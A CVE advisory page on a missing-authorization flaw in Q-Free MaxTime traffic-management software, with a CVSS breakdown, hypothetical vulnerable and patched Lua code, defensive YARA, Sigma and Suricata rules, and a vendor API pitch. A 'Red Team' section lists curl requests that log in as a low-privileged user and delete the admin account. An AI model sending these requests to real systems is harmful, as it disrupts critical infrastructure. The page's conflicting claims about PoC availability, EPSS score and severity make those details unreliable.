☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.1 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26377

CVE-2025-26377 Missing Authorization in Q-free
📅 PUBLISHED: 2025-02-12 13:30 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1078
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: H Availability High
8.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26377 is a critical Missing Authorization vulnerability (CWE-862) identified in Q-Free MaxTime, a traffic management system, affecting versions up to and including 2.11.0. The flaw resides in the maxprofile/users/routes.lua file, allowing an authenticated low-privileged attacker to remove users via crafted HTTP requests. With a CVSS score of 8.1 (High), this vulnerability poses a significant risk to the integrity and availability of user management functions. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown, indicating a potential zero-day scenario. The EPSS score of 0.0% suggests low exploitation likelihood currently, but the lack of a patch elevates the risk for organizations using this software.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a proprietary software component (Q-Free MaxTime) used in traffic management infrastructure. Organizations should assess their supply chain for dependencies on Q-Free MaxTime and consider alternative solutions or isolation measures until a patch is available.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
  • Base Score: 8.1 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: Low (PR:L) – Attacker needs valid low-privileged credentials.
  • User Interaction: None (UI:N) – No user action needed.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: None (C:N) – No data exposure.
  • Integrity Impact: High (I:H) – Unauthorized user removal disrupts access control.
  • Availability Impact: High (A:H) – Removal of users can lead to denial of service for legitimate administrators.

Threat Level: High. The vulnerability allows an authenticated attacker to escalate privileges by removing other users, potentially including administrators, leading to full system compromise or denial of service.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authorization checks in the maxprofile/users/routes.lua file. This file likely handles HTTP endpoints for user management operations, such as creating, updating, or deleting users. The flaw occurs because the code does not verify whether the authenticated user has the necessary administrative privileges to perform user deletion operations.

Attack Flow:

  1. Authentication: The attacker obtains low-privileged credentials (e.g., via phishing, default credentials, or previous compromise).
  2. Crafting Request: The attacker crafts an HTTP request targeting the user deletion endpoint (e.g., DELETE /maxprofile/users/{id}) with a valid session token.
  3. Exploitation: The server processes the request without checking if the authenticated user has the admin role or equivalent permission, resulting in unauthorized user removal.
  4. Impact: The attacker can remove any user, including administrators, potentially locking out legitimate users and gaining elevated control.

Root Cause: The routes.lua file lacks an authorization middleware or role check before executing the delete operation. This is a common oversight in web applications where developers assume only privileged users can access certain endpoints, but fail to enforce it server-side.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (maxprofile/users/routes.lua):

-- Vulnerable: No authorization check
app.delete("/users/:id", function(req, res)
    local userId = req.params.id
    -- Directly delete user without checking role
    database.delete("users", userId)
    res:status(200):json({ message = "User deleted" })
end)

Patched Code (Hypothetical):

-- Patched: Authorization check added
app.delete("/users/:id", function(req, res)
    -- Check if user has admin role
    if req.user.role ~= "admin" then
        return res:status(403):json({ error = "Forbidden" })
    end
    local userId = req.params.id
    database.delete("users", userId)
    res:status(200):json({ message = "User deleted" })
end)

The patched version adds a role check before the delete operation, ensuring only users with the admin role can delete other users.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Access to a Q-Free MaxTime instance (version <= 2.11.0).
  • Valid low-privileged credentials (e.g., username: user1, password: password123).

Exploitation Steps:

  1. Authenticate and obtain session token:
    curl -X POST http://target/maxprofile/login -d "username=user1&password=password123" -c cookies.txt
    
  2. List users to find target IDs:
    curl -X GET http://target/maxprofile/users -b cookies.txt
    
  3. Delete a user (e.g., admin with ID 1):
    curl -X DELETE http://target/maxprofile/users/1 -b cookies.txt
    
  4. Verify deletion:
    curl -X GET http://target/maxprofile/users/1 -b cookies.txt
    

Expected Outcome: The admin user is removed, potentially locking out legitimate administrators and allowing the attacker to escalate privileges.

Blue Team (Defense & Detection)

Detection:

  • Monitor HTTP DELETE requests to /maxprofile/users/* from non-admin users.
  • Alert on multiple user deletion attempts within a short timeframe.
  • Use the detection rules provided in the Detection Engineering section.

Mitigation:

  • Implement role-based access control (RBAC) for all user management endpoints.
  • Apply the principle of least privilege; ensure low-privileged accounts cannot perform administrative actions.
  • If patching is not possible, restrict network access to the MaxTime interface using firewalls or VPNs.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP DELETE requests to /maxprofile/users/{id} from low-privileged user sessions.
    • Unusual patterns of user deletion events in logs.
  • System IOCs:
    • Missing user accounts, especially administrators.
    • Log entries showing DELETE /maxprofile/users/ with non-admin user IDs.
  • File IOCs:
    • Modified maxprofile/users/routes.lua file (if attacker attempts to patch).
    • Suspicious Lua scripts in the MaxTime directory.

Detection Engineering

YARA Rule

rule CVE_2025_26377_Missing_Auth {
    meta:
        description = "Detects missing authorization in Q-Free MaxTime routes.lua"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-26377"
    strings:
        $s1 = "app.delete(\"/users/:id\"" nocase
        $s2 = "database.delete(\"users\"" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-26377 - Missing Authorization in Q-Free MaxTime
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects unauthorized user deletion attempts via HTTP DELETE requests to /maxprofile/users/
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'DELETE'
        cs-uri-stem: '/maxprofile/users/*'
    condition: selection
falsepositives:
    - Legitimate admin actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26377 - Q-Free MaxTime Missing Authorization User Deletion"; flow:to_server; http.method; content:"DELETE"; http.uri; content:"/maxprofile/users/"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate Affected Systems: If possible, restrict network access to the MaxTime web interface using firewalls or VPNs.
  2. Monitor Logs: Actively monitor for unauthorized DELETE requests to /maxprofile/users/.
  3. Review User Accounts: Audit all user accounts and remove any suspicious low-privileged accounts.

Long-Term Fixes:

  1. Apply Patch: Contact Q-Free for an official patch or update to a patched version when available.
  2. Implement RBAC: Modify the routes.lua file to include authorization checks (see patched code example).
  3. Web Application Firewall (WAF): Deploy a WAF rule to block DELETE requests to /maxprofile/users/ from non-admin IPs.
  4. Regular Security Audits: Conduct code reviews and penetration testing on all user management endpoints.

Workaround:

  • Disable the user deletion functionality temporarily by removing or commenting out the relevant route in routes.lua until a patch is applied.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Q-Free MaxTime
MaxTime login

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26377/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.